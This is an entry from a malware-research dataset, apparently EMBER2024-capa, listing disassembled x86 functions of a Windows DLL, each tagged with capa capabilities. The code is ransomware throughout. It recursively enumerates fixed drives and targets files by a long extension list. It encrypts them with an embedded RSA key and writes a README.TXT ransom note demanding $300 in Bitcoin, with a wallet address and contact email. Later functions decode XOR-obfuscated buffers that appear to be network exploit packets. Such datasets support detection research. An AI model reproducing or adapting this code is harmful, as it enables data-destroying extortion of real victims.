joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100012d5
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor esi, esi
push edi
mov dword [ebp - 4], esi
cmp dword [ebp + 8], esi
jne 0x100012f1
mov eax, 0x80070057
jmp 0x1000137d
mov edi, 0x200
push edi
push esi
push dword [ebp + 0xc]
call sub.msvcrt.dll_memset
add esp, 0xc
push esi
push esi
push 3
push esi
push 1
push connect
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x10001337
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, esi
jle 0x10001333
and eax, 0xffff
or eax, 0x80070000
mov esi, eax
jmp 0x1000137b
push esi
push esi
xor ecx, ecx
push ecx
xor eax, eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1000135e
push esi
lea eax, [ebp - 4]
push eax
push edi
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10001374
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, esi
jle 0x10001372
and eax, 0xffff
or eax, 0x80070000
mov esi, eax
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x10001384
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
mov esi, eax
mov dword [ebp - 4], edi
cmp dword [ebp + 8], edi
jne 0x1000139e
mov eax, 0x80070057
jmp 0x1000141d
push edi
push edi
push 3
push edi
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x100013d2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, edi
jle 0x100013ce
and eax, 0xffff
or eax, 0x80070000
mov edi, eax
jmp 0x1000141b
push edi
push edi
xor eax, eax
push eax
shl esi, 9
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x100013fe
push edi
lea eax, [ebp - 4]
push eax
push 0x200
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10001414
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, edi
jle 0x10001412
and eax, 0xffff
or eax, 0x80070000
mov edi, eax
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x1000189a
Capabilities:
Encrypt or decrypt via wincrypt
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
xor esi, esi
push esi
push esi
push 3
push esi
push esi
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
mov dword [ebp - 0xc], edi
cmp edi, 0xffffffff
je 0x10001951
lea eax, [ebp - 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [ebp - 4], esi
cmp dword [ebp - 0x14], esi
jl 0x10001958
mov eax, 0x100000
jg 0x100018e6
cmp dword [ebp - 0x18], eax
jbe 0x10001958
mov dword [ebp + 8], eax
mov ebx, eax
push esi
push ebx
push esi
push 4
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 8], eax
cmp eax, esi
je 0x10001948
push dword [ebp + 8]
push esi
push esi
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
cmp edi, esi
je 0x1000193f
push ebx
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push edi
push esi
push dword [ebp - 4]
push esi
push dword [eax + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x10001938
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_FlushViewOfFile]
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
leave
ret 8
mov eax, dword [ebp - 0x18]
mov dword [ebp + 8], eax
shr eax, 4
lea ebx, [eax + 1]
mov dword [ebp - 4], 1
shl ebx, 4
jmp 0x100018eb
Function at 0x10001973
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x870
cmp dword [ebp + 0xc], 0
push ebx
push esi
je 0x10001b46
push 0x10010a6c
push dword [ebp + 8]
lea eax, [esp + 0x470]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
test eax, eax
je 0x10001b46
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x46c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0xc], eax
cmp eax, 0xffffffff
je 0x10001b46
mov ebx, dword [sym.imp.SHLWAPI.dll_StrStrIW]
mov esi, dword [ebp + 0x10]
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x100019f3
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x10001b3c
cmp eax, 0xffffffff
je 0x10001b3c
mov ecx, 0x10010a70
lea eax, [esp + 0x3c]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x10001a22
test dx, dx
je 0x10001a1e
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x10001a22
add eax, 4
add ecx, 4
test dx, dx
jne 0x100019fc
xor eax, eax
jmp 0x10001a27
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10001b25
mov ecx, 0x10010a74
lea eax, [esp + 0x3c]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x10001a5e
test dx, dx
je 0x10001a5a
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x10001a5e
add eax, 4
add ecx, 4
test dx, dx
jne 0x10001a38
xor eax, eax
jmp 0x10001a63
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10001b25
lea eax, [esp + 0x3c]
push eax
push dword [ebp + 8]
lea eax, [esp + 0x268]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
test eax, eax
je 0x10001b25
test byte [esp + 0x10], 0x10
je 0x10001ac2
test dword [esp + 0x10], 0x400
jne 0x10001ac2
lea eax, [esp + 0x260]
push eax
push 0x10010824
call ebx
test eax, eax
jne 0x10001b25
mov eax, dword [ebp + 0xc]
push esi
dec eax
push eax
lea eax, [esp + 0x268]
push eax
call fcn.10001973
jmp 0x10001b25
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
lea ecx, [esp + 0x3c]
lea edx, [ecx + 2]
mov si, word [ecx]
add ecx, 2
test si, si
jne 0x10001ad4
sub ecx, edx
sar ecx, 1
lea ecx, [esp + ecx*2 + 0x3c]
cmp eax, ecx
je 0x10001b25
push eax
lea eax, [esp + 0x674]
push str._ws.
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [esp + 0x670]
push eax
push str..3ds.7z.accdb.ai.asp.aspx.avhd.back.bak.c.cfg.conf.cpp.cs.ctl.dbf.disk.djvu.doc.docx.dwg.eml.fdb.gz.h.hdd.kdbx.mail.mdb.msg.nrg.ora.ost.ova.ovf.pdf.php.pmf.ppt.pptx.pst.pvi.py.pyc.rar.rtf.sln.sql.tar.vbox.vbs.vcb.vdi.vfd.vmc.vmdk.vmsd.vmx.vsdx.vsv.work.xls.xlsx.xvd.zip.
call ebx
test eax, eax
je 0x10001b25
push dword [ebp + 0x10]
lea eax, [esp + 0x264]
push eax
call fcn.1000189a
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x100019cf
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10001ba0
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
mov edi, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
xor esi, esi
push esi
push esi
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 8]
push esi
push 1
push esi
push dword [eax + 0x10]
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], esi
call edi
test eax, eax
je 0x10001c76
push ebx
push dword [ebp - 4]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
mov dword [ebp - 0x10], ebx
cmp ebx, esi
je 0x10001c75
push esi
push esi
lea eax, [ebp - 4]
push eax
push ebx
push 1
push esi
push str.MIIBCgKCAQEAxP_VqKc0yLe9JhVqFMQGwUITO6WpXWnKSNQAYT0O65Cr8PjIQInTeHkXEjfO2n2JmURWV_uHB0ZrlQ_wcYJBwLhQ9EqJ3iDqmN19Oo7NtyEUmbYmopcqYLIBZzQ2ZTK0A2DtX4GRKxEEFLCy7vP12EYOPXknVy_mf0JFWixz29QiTf5oLu15wVLONCuEibGaNNpgqCXsPwfITDbDDmdrRIiUEUw6o3pt5pNOskfOJbMan2TZu6zfhzuts7KafP5UA8_0Hmf5K3_F9Mf9SE68EZjKcIiFlKeWndP0XfRCYXI9AJYCeaOu7CXF6U0AVNnNjvLeOn42LHFUK4o6JwIDAQAB
call edi
test eax, eax
je 0x10001c6c
mov edi, dword [sym.imp.CRYPT32.dll_CryptDecodeObjectEx]
lea eax, [ebp - 8]
push eax
push esi
push esi
push esi
push dword [ebp - 4]
mov dword [ebp - 8], esi
push ebx
push 0x13
mov ebx, 0x10001
push ebx
call edi
test eax, eax
je 0x10001c6c
push dword [ebp - 8]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xc], eax
cmp eax, esi
je 0x10001c6c
lea ecx, [ebp - 8]
push ecx
push eax
push esi
push esi
push dword [ebp - 4]
push dword [ebp - 0x10]
push 0x13
push ebx
call edi
test eax, eax
je 0x10001c63
mov eax, dword [ebp + 8]
lea ecx, [eax + 0xc]
push ecx
push esi
push esi
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [eax + 8]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
mov dword [ebp - 0x14], eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebx
mov eax, dword [ebp - 0x14]
pop edi
pop esi
leave
ret 4
Function at 0x10001c7f
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CryptExportKey]
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push 1
push dword [esi + 0xc]
mov dword [ebp - 0x10], ebx
push dword [esi + 0x14]
mov dword [ebp - 4], ebx
call edi
test eax, eax
je 0x10001d2a
push dword [ebp - 4]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x10001d2a
lea ecx, [ebp - 4]
push ecx
push eax
push ebx
push 1
push dword [esi + 0xc]
push dword [esi + 0x14]
call edi
test eax, eax
je 0x10001d21
mov esi, dword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
lea eax, [ebp - 8]
push eax
push ebx
push 1
push dword [ebp - 4]
mov dword [ebp - 8], ebx
push dword [ebp - 0xc]
call esi
test eax, eax
je 0x10001d21
mov eax, dword [ebp - 8]
add eax, eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
cmp edi, ebx
je 0x10001d21
lea eax, [ebp - 8]
push eax
push edi
push 1
push dword [ebp - 4]
push dword [ebp - 0xc]
call esi
test eax, eax
je 0x10001d1a
mov dword [ebp - 0x10], edi
jmp 0x10001d21
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x10]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10001d32
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x620
push dword [ebp + 8]
call fcn.10001ba0
test eax, eax
je 0x10001e4d
mov eax, dword [ebp + 8]
push edi
call fcn.10001c7f
xor edi, edi
mov dword [ebp - 8], eax
cmp eax, edi
je 0x10001e4c
push str.README.TXT
push dword [ebp + 8]
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
test eax, eax
je 0x10001e40
call fcn.10006973
cmp eax, edi
je 0x10001d95
dec eax
imul eax, eax, 0xea60
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push edi
push edi
push 2
push edi
push edi
push 0x40000000
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10001e3f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
lea eax, [ebp - 4]
push eax
push 0x432
push str.Ooops__your_important_files_are_encrypted._r_n_r_nIf_you_see_this_text__then_your_files_are_no_longer_accessible__because_r_nthey_have_been_encrypted._Perhaps_you_are_busy_looking_for_a_way_to_recover_r_nyour_files__but_dont_waste_your_time._Nobody_can_recover_your_files_without_r_nour_decryption_service._r_n_r_nWe_guarantee_that_you_can_recover_all_your_files_safely_and_easily._r_nAll_you_need_to_do_is_submit_the_payment_and_purchase_the_decryption_key._r_n_r_nPlease_follow_the_instructions:_r_n_r_n1._tSend__300_worth_of_Bitcoin_to_following_address:_r_n_r_n
push ebx
mov dword [ebp - 4], edi
call esi
push edi
lea eax, [ebp - 4]
push eax
push 0x4c
push str.1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX_r_n_r_n
push ebx
call esi
push edi
lea eax, [ebp - 4]
push eax
push 0x8e
push str.2._tSend_your_Bitcoin_wallet_ID_and_personal_installation_key_to_e_mail
push ebx
call esi
push edi
lea eax, [ebp - 4]
push eax
push 0x38
push str.wowsmith123456_posteo.net._r_n
push ebx
call esi
push edi
lea eax, [ebp - 4]
push eax
push 0x48
push str._tYour_personal_installation_key:_r_n_r_n
push ebx
call esi
mov eax, dword [ebp - 8]
lea ecx, [eax + 2]
mov dx, word [eax]
add eax, 2
cmp dx, di
jne 0x10001e1a
sub eax, ecx
push edi
sar eax, 1
lea ecx, [ebp - 4]
push ecx
add eax, eax
push eax
push dword [ebp - 8]
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
mov eax, dword [ebp + 8]
push dword [eax + 0x18]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
leave
ret 4
Function at 0x10001eef
Capabilities:
Create thread
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 0x1f
mov ebx, eax
pop edi
xor esi, esi
xor eax, eax
inc eax
mov ecx, edi
shl eax, cl
test ebx, eax
je 0x10001f6c
push 0x3a
lea eax, [edi + 0x41]
mov word [ebp - 8], ax
pop eax
mov word [ebp - 6], ax
push 0x5c
pop eax
mov word [ebp - 4], ax
xor eax, eax
mov word [ebp - 2], ax
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x10001f6c
push 0x20
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
cmp eax, esi
je 0x10001f6c
push esi
push esi
push eax
mov dword [eax + 0x10], str.MIIBCgKCAQEAxP_VqKc0yLe9JhVqFMQGwUITO6WpXWnKSNQAYT0O65Cr8PjIQInTeHkXEjfO2n2JmURWV_uHB0ZrlQ_wcYJBwLhQ9EqJ3iDqmN19Oo7NtyEUmbYmopcqYLIBZzQ2ZTK0A2DtX4GRKxEEFLCy7vP12EYOPXknVy_mf0JFWixz29QiTf5oLu15wVLONCuEibGaNNpgqCXsPwfITDbDDmdrRIiUEUw6o3pt5pNOskfOJbMan2TZu6zfhzuts7KafP5UA8_0Hmf5K3_F9Mf9SE68EZjKcIiFlKeWndP0XfRCYXI9AJYCeaOu7CXF6U0AVNnNjvLeOn42LHFUK4o6JwIDAQAB
mov dword [eax + 0x1c], esi
mov ecx, dword [ebp - 8]
push 0x10001e51
mov dword [eax], ecx
mov ecx, dword [ebp - 4]
push esi
push esi
mov dword [eax + 4], ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
dec edi
jns 0x10001f04
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100020ea
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov al, byte [0x1001f8fc]
push ebx
push edi
xor edi, edi
mov byte [ebp - 4], al
test al, al
jne 0x100021e2
push 0xa
push 4
push dword [0x1001f120]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x10002123
push eax
push dword [ebp + 8]
mov ebx, esi
call fcn.100085d0
jmp 0x10002125
xor eax, eax
test eax, eax
jne 0x10002131
or eax, 0xffffffff
jmp 0x1000229c
mov ebx, dword [ebp + 8]
mov ecx, dword [ebx]
lea eax, [ecx - 1]
test eax, eax
je 0x10002150
lea edx, [ecx - 1]
mov eax, dword [esi]
xor dword [eax + edi], 0x86868686
add edi, 4
cmp edi, edx
jb 0x10002140
mov eax, dword [esi]
lea eax, [eax + ecx - 1]
xor byte [eax], 0x86
mov eax, dword [ebp + 0xc]
mov ecx, dword [esi]
add eax, 0xd70
mov dword [ecx + 0x591], eax
mov al, byte [ebp + 0x10]
cmp al, 2
jne 0x1000219d
mov ecx, dword [esi]
mov byte [ecx + 0x26], 0xa0
mov ecx, dword [esi]
mov byte [ecx + 0x52], 0x90
mov ecx, dword [esi]
mov edx, 0x164
mov word [ecx + 0x270], dx
mov ecx, dword [esi]
xor edx, edx
mov word [ecx + 0x29e], dx
mov ecx, dword [esi]
mov byte [ecx + 0x2b6], dl
cmp al, 3
jne 0x100021bf
mov ecx, dword [esi]
mov byte [ecx + 0x26], 0x90
mov ecx, dword [esi]
mov byte [ecx + 0x52], 0x80
mov ecx, dword [esi]
mov byte [ecx + 0x270], 0x58
mov ecx, dword [esi]
mov byte [ecx + 0x2b6], 0
cmp al, 4
je 0x100021cb
cmp al, 6
jne 0x1000229a
mov eax, dword [esi]
mov byte [eax + 0x26], 0x78
mov eax, dword [esi]
mov byte [eax + 0x52], 0x68
mov eax, dword [esi]
mov byte [eax + 0x270], 0x68
jmp 0x100021e5
mov ebx, dword [ebp + 8]
cmp byte [ebp - 4], 1
jne 0x1000229a
mov eax, 0x17f8
push eax
mov dword [ebx], eax
call fcn.10001000
mov dword [esi], eax
test eax, eax
je 0x10002129
mov eax, dword [ebx]
dec eax
cmp edi, eax
jae 0x10002228
mov eax, dword [ebx]
dec eax
mov ecx, dword [edi + 0x10010bb8]
mov edx, dword [esi]
xor ecx, 0x64646464
mov dword [edi + edx], ecx
add edi, 4
cmp edi, eax
jb 0x10002210
mov eax, dword [ebp + 0xc]
mov ecx, dword [esi]
add eax, 0xf8a
mov dword [ecx + 0x86e], eax
mov al, byte [ebp + 0x10]
cmp al, 2
je 0x10002243
cmp al, 3
jne 0x1000226f
mov ecx, dword [esi]
mov edx, 0x2b0
mov word [ecx + 0x846], dx
mov ecx, dword [esi]
add edx, 0xffffffe0
mov word [ecx + 0x852], dx
mov ecx, dword [esi]
mov byte [ecx + 0x856], 0x90
mov ecx, dword [esi]
mov byte [ecx + 0x85e], 0
cmp al, 4
je 0x10002277
cmp al, 6
jne 0x1000229a
mov eax, dword [esi]
mov ecx, 0x280
mov word [eax + 0x846], cx
mov eax, dword [esi]
add ecx, 0xffffffe0
mov word [eax + 0x852], cx
mov eax, dword [esi]
mov byte [eax + 0x856], 0x90
xor eax, eax
pop edi
pop ebx
leave
ret 0xc
Function at 0x10002620
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push 0xc
call fcn.10001000
mov ebx, eax
mov dword [ebp - 4], ebx
test ebx, ebx
je 0x100026c5
push esi
push edi
mov esi, str.bHbGcDiHpY_
mov edi, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0xb
movsb byte es:[edi], byte [esi]
pop ecx
xor byte [eax], 0x2b
inc eax
dec ecx
jne 0x1000264b
push 0x11
call fcn.10001000
test eax, eax
jne 0x10002661
xor ebx, ebx
jmp 0x1000267c
xor ecx, ecx
inc ecx
mov word [eax + 1], cx
push 0xc
mov byte [eax], 1
pop ecx
mov word [eax + 3], cx
mov esi, ebx
lea edi, [eax + 5]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ebx, eax
mov dword [ebp - 8], ebx
test ebx, ebx
je 0x100026b9
mov edi, dword [ebp + 0x1c]
push 0x35
pop eax
push dword [ebp + 0x18]
mov word [edi], ax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0xc007
push 0x2b
push eax
call fcn.10002466
mov esi, eax
mov dword [ebp + 0x1c], esi
test esi, esi
jne 0x100026ca
lea esi, [ebp - 8]
call fcn.100020d0
lea esi, [ebp - 4]
call fcn.100020d0
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x18
movzx eax, word [edi]
push eax
call fcn.10001000
test eax, eax
jne 0x100026f5
xor edi, edi
lea esi, [ebp - 8]
call fcn.100020d0
lea esi, [ebp - 4]
call fcn.100020d0
lea esi, [ebp + 0x1c]
call fcn.100020d0
mov eax, edi
jmp 0x100026c3
push 9
pop ecx
mov edi, eax
rep movsd dword es:[edi], dword [esi]
mov esi, ebx
lea edi, [eax + 0x24]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, eax
jmp 0x100026d9
Function at 0x1000270a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push edi
push 0x62
mov ebx, eax
call fcn.10001000
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
je 0x100027b7
push 0x62
push str.p_1R_7__9R__5_3_RCBrp_3__3_CBrp_e
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
push 0x62
mov eax, edi
pop ecx
xor byte [eax], 0x72
inc eax
dec ecx
jne 0x1000273d
push esi
push 0x65
call fcn.10001000
mov esi, eax
test esi, esi
jne 0x10002757
and dword [ebp - 8], eax
jmp 0x1000276f
push 0x62
pop eax
push eax
mov word [esi + 1], ax
lea eax, [esi + 3]
push edi
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov dword [ebp - 8], esi
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x100027ac
push dword [ebp + 0x14]
mov eax, 0x89
push 0
push dword [ebp + 0x10]
mov ecx, eax
push 0
push dword [ebp + 0xc]
mov word [ebx], cx
push dword [ebp + 8]
push 0x72
push eax
call fcn.10002466
mov esi, eax
mov dword [ebp + 0x14], esi
test esi, esi
jne 0x100027bd
lea esi, [ebp - 0xc]
call fcn.100020d0
lea esi, [ebp - 4]
call fcn.100020d0
xor eax, eax
pop esi
pop edi
pop ebx
leave
ret 0x10
movzx eax, word [ebx]
push eax
call fcn.10001000
mov ebx, eax
test ebx, ebx
jne 0x100027e8
lea esi, [ebp - 0xc]
call fcn.100020d0
lea esi, [ebp - 4]
call fcn.100020d0
lea esi, [ebp + 0x14]
call fcn.100020d0
mov eax, ebx
jmp 0x100027b6
push 9
pop ecx
push 0x65
push dword [ebp - 8]
lea eax, [ebx + 0x24]
mov edi, ebx
push eax
rep movsd dword es:[edi], dword [esi]
call sub.msvcrt.dll_memcpy
add esp, 0xc
jmp 0x100027cc
Function at 0x100028b5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, eax
cmp bl, 0xc
je 0x100028ce
cmp bl, 0xd
je 0x100028ce
xor eax, eax
jmp 0x1000297c
push esi
push edi
xor esi, esi
xor edi, edi
mov dword [ebp - 4], esi
cmp bl, 0xc
jne 0x100028f1
push 0x16
pop edi
push edi
call fcn.10001000
mov dword [ebp - 4], eax
cmp eax, esi
jne 0x10002921
jmp 0x10002978
cmp bl, 0xd
jne 0x10002921
push 0x4b
pop edi
push edi
call fcn.10001000
mov dword [ebp - 4], eax
cmp eax, esi
je 0x10002978
push edi
push str.sssss_s
push eax
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 4]
add esp, 0xc
mov ecx, edi
xor byte [eax], 0x73
inc eax
dec ecx
jne 0x1000291a
push dword [ebp + 0x1c]
lea ecx, [ebp - 8]
push dword [ebp + 0x18]
mov dword [ebp - 8], esi
push ebx
push dword [ebp - 4]
call fcn.10002802
mov dword [ebp + 0x1c], eax
cmp eax, esi
je 0x10002970
push dword [ebp + 0x14]
mov ebx, dword [ebp - 8]
mov edi, dword [ebp + 0x20]
push esi
push dword [ebp + 0x10]
lea eax, [ebx + 0x24]
push esi
push dword [ebp + 0xc]
mov word [edi], ax
push dword [ebp + 8]
push 0x73
push eax
call fcn.10002466
mov esi, eax
mov dword [ebp + 0x18], esi
test esi, esi
jne 0x10002981
lea esi, [ebp + 0x1c]
call fcn.100020d0
lea esi, [ebp - 4]
call fcn.100020d0
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x1c
movzx eax, word [edi]
push eax
call fcn.10001000
mov dword [ebp + 0x20], eax
test eax, eax
jne 0x100029af
xor edi, edi
lea esi, [ebp + 0x1c]
call fcn.100020d0
lea esi, [ebp - 4]
call fcn.100020d0
lea esi, [ebp + 0x18]
call fcn.100020d0
mov eax, edi
jmp 0x1000297a
push 9
pop ecx
mov edi, eax
rep movsd dword es:[edi], dword [esi]
movzx ecx, bx
push ecx
push dword [ebp + 0x1c]
add eax, 0x24
push eax
call sub.msvcrt.dll_memcpy
mov edi, dword [ebp + 0x20]
add esp, 0xc
jmp 0x10002993
Function at 0x100029ce
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push edi
push 0x2d
mov ebx, eax
call fcn.10001000
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
je 0x10002a94
push 0x2d
push str.u_u_uDuGuFu_uDuGu_uFuDu_uGu_u_u_u6uQuuuJJJJJu
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
push 0x2d
mov eax, edi
pop ecx
xor byte [eax], 0x75
inc eax
dec ecx
jne 0x10002a01
push esi
push 0x38
call fcn.10001000
mov esi, eax
test esi, esi
jne 0x10002a1b
and dword [ebp - 8], eax
jmp 0x10002a4d
push 0x58
pop eax
push 8
mov word [esi + 3], ax
pop eax
mov word [esi + 5], ax
xor eax, eax
inc eax
push 0x2d
mov word [esi + 7], ax
pop eax
push eax
mov word [esi + 9], ax
lea eax, [esi + 0xb]
push edi
push eax
mov word [esi], 0xff04
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov dword [ebp - 8], esi
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x10002a89
push 0x5c
pop eax
push dword [ebp + 0x14]
mov word [ebx], ax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0
push dword [ebp + 8]
push 0xc007
push 0x75
push eax
call fcn.10002466
mov esi, eax
mov dword [ebp + 0x14], esi
test esi, esi
jne 0x10002a9a
lea esi, [ebp - 0xc]
call fcn.100020d0
lea esi, [ebp - 4]
call fcn.100020d0
xor eax, eax
pop esi
pop edi
pop ebx
leave
ret 0x10
movzx eax, word [ebx]
push eax
call fcn.10001000
mov ebx, eax
test ebx, ebx
jne 0x10002ac5
lea esi, [ebp - 0xc]
call fcn.100020d0
lea esi, [ebp - 4]
call fcn.100020d0
lea esi, [ebp + 0x14]
call fcn.100020d0
mov eax, ebx
jmp 0x10002a93
push 9
pop ecx
push 0x38
push dword [ebp - 8]
lea eax, [ebx + 0x24]
mov edi, ebx
push eax
rep movsd dword es:[edi], dword [esi]
call sub.msvcrt.dll_memcpy
add esp, 0xc
jmp 0x10002aa9